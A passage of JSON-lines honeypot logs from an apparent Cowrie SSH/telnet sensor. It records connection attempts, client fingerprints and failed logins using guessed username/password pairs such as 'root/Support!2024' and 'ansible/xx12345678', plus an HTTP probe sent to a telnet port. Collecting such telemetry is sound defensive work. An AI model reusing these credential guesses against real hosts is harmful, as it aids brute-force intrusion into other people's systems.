af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:55.028686Z","src_ip":"118.193.33.81","session":"7a049f0c46ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Support!2024","message":"login attempt [root/Support!2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:55.957482Z","src_ip":"118.193.33.81","session":"7a049f0c46ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:57.188105Z","src_ip":"118.193.33.81","session":"7a049f0c46ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56246,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb2d00405a5","protocol":"ssh","message":"New connection: 159.203.92.129:56246 (159.203.135.109:22) [session: 8bb2d00405a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:59.806102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:59.811331Z","src_ip":"159.203.92.129","session":"8bb2d00405a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:59.816449Z","src_ip":"159.203.92.129","session":"8bb2d00405a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"xx12345678","message":"login attempt [ansible/xx12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:59.828394Z","src_ip":"159.203.92.129","session":"8bb2d00405a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:00.839568Z","src_ip":"159.203.92.129","session":"8bb2d00405a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":34576,"dst_ip":"10.17.0.5","dst_port":22,"session":"e232e97cab90","protocol":"ssh","message":"New connection: 162.223.91.130:34576 (10.17.0.5:22) [session: e232e97cab90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:13.866754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:13.870242Z","src_ip":"162.223.91.130","session":"e232e97cab90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:13.889264Z","src_ip":"162.223.91.130","session":"e232e97cab90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manager","password":"test","message":"login attempt [manager/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:13.997611Z","src_ip":"162.223.91.130","session":"e232e97cab90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:15.022275Z","src_ip":"162.223.91.130","session":"e232e97cab90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":34768,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c3d43f0b752","protocol":"ssh","message":"New connection: 157.7.113.83:34768 (159.203.135.109:22) [session: 7c3d43f0b752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:16.106847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:16.111858Z","src_ip":"157.7.113.83","session":"7c3d43f0b752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:16.272376Z","src_ip":"157.7.113.83","session":"7c3d43f0b752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin123456","message":"login attempt [root/@dmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:16.933361Z","src_ip":"157.7.113.83","session":"7c3d43f0b752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":53783,"dst_ip":"159.203.135.109","dst_port":22,"session":"baded5f9259e","protocol":"ssh","message":"New connection: 81.30.162.19:53783 (159.203.135.109:22) [session: baded5f9259e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:17.038958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:17.043162Z","src_ip":"81.30.162.19","session":"baded5f9259e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:17.160589Z","src_ip":"81.30.162.19","session":"baded5f9259e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hx@123456","message":"login attempt [root/hx@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:17.664889Z","src_ip":"81.30.162.19","session":"baded5f9259e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:18.092105Z","src_ip":"157.7.113.83","session":"7c3d43f0b752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:18.784950Z","src_ip":"81.30.162.19","session":"baded5f9259e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":15128,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a070bebd09","protocol":"telnet","message":"New connection: 34.38.116.27:15128 (10.17.0.5:23) [session: b8a070bebd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:28.436217Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":15138,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9f2901f2f5","protocol":"telnet","message":"New connection: 34.38.116.27:15138 (10.17.0.5:23) [session: bb9f2901f2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:28.593182Z"}
{"eventid":"cowrie.session.closed","duration":0.0051419734954833984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:28.598191Z","src_ip":"34.38.116.27","session":"bb9f2901f2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":15144,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89e578103c7","protocol":"telnet","message":"New connection: 34.38.116.27:15144 (10.17.0.5:23) [session: a89e578103c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:28.748526Z"}
{"eventid":"cowrie.session.closed","duration":0.6097009181976318,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:29.045757Z","src_ip":"34.38.116.27","session":"b8a070bebd09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45796,"dst_ip":"159.203.135.109","dst_port":22,"session":"c53a17729fc4","protocol":"ssh","message":"New connection: 159.203.92.129:45796 (159.203.135.109:22) [session: c53a17729fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:45.746285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:45.750852Z","src_ip":"159.203.92.129","session":"c53a17729fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:45.755425Z","src_ip":"159.203.92.129","session":"c53a17729fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"yu3tlymnt9k","message":"login attempt [ansible/yu3tlymnt9k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:45.766070Z","src_ip":"159.203.92.129","session":"c53a17729fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:46.771587Z","src_ip":"159.203.92.129","session":"c53a17729fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9bfa645bc43","protocol":"telnet","message":"New connection: 34.38.116.27:59248 (10.17.0.5:23) [session: d9bfa645bc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:47.906399Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:47.912361Z","src_ip":"34.38.116.27","session":"d9bfa645bc43","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:47.916320Z","src_ip":"34.38.116.27","session":"d9bfa645bc43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08951258659362793,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:47.995813Z","src_ip":"34.38.116.27","session":"d9bfa645bc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f172b04815bd","protocol":"telnet","message":"New connection: 34.38.116.27:59264 (10.17.0.5:23) [session: f172b04815bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:48.071886Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59266,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc2bce68306","protocol":"telnet","message":"New connection: 34.38.116.27:59266 (10.17.0.5:23) [session: 1bc2bce68306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:48.228591Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59280,"dst_ip":"10.17.0.5","dst_port":23,"session":"766c89ad77af","protocol":"telnet","message":"New connection: 34.38.116.27:59280 (10.17.0.5:23) [session: 766c89ad77af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:48.385101Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59294,"dst_ip":"10.17.0.5","dst_port":23,"session":"f35f106b46f2","protocol":"telnet","message":"New connection: 34.38.116.27:59294 (10.17.0.5:23) [session: f35f106b46f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:48.542814Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59308,"dst_ip":"10.17.0.5","dst_port":23,"session":"489eb9e8efb8","protocol":"telnet","message":"New connection: 34.38.116.27:59308 (10.17.0.5:23) [session: 489eb9e8efb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:48.696602Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"8057eded6d3a","protocol":"telnet","message":"New connection: 34.38.116.27:59320 (10.17.0.5:23) [session: 8057eded6d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:48.851230Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"b46f486754f1","protocol":"telnet","message":"New connection: 34.38.116.27:59332 (10.17.0.5:23) [session: b46f486754f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.005797Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"8323e64c90cc","protocol":"telnet","message":"New connection: 34.38.116.27:59340 (10.17.0.5:23) [session: 8323e64c90cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.161664Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59352,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff1d3f5a1af","protocol":"telnet","message":"New connection: 34.38.116.27:59352 (10.17.0.5:23) [session: cff1d3f5a1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.315260Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59368,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b0452617bb","protocol":"telnet","message":"New connection: 34.38.116.27:59368 (10.17.0.5:23) [session: c0b0452617bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.543658Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59380,"dst_ip":"10.17.0.5","dst_port":23,"session":"583d9508c4cf","protocol":"telnet","message":"New connection: 34.38.116.27:59380 (10.17.0.5:23) [session: 583d9508c4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.701178Z"}
{"eventid":"cowrie.session.closed","duration":0.004703998565673828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.705773Z","src_ip":"34.38.116.27","session":"583d9508c4cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5cef12b1c1b","protocol":"telnet","message":"New connection: 34.38.116.27:59392 (10.17.0.5:23) [session: a5cef12b1c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:49.855442Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59400,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e4d8f0ee85","protocol":"telnet","message":"New connection: 34.38.116.27:59400 (10.17.0.5:23) [session: 83e4d8f0ee85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.009089Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59412,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e61abf3260","protocol":"telnet","message":"New connection: 34.38.116.27:59412 (10.17.0.5:23) [session: 01e61abf3260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.164598Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59426,"dst_ip":"10.17.0.5","dst_port":23,"session":"113773e9d4c7","protocol":"telnet","message":"New connection: 34.38.116.27:59426 (10.17.0.5:23) [session: 113773e9d4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.319919Z"}
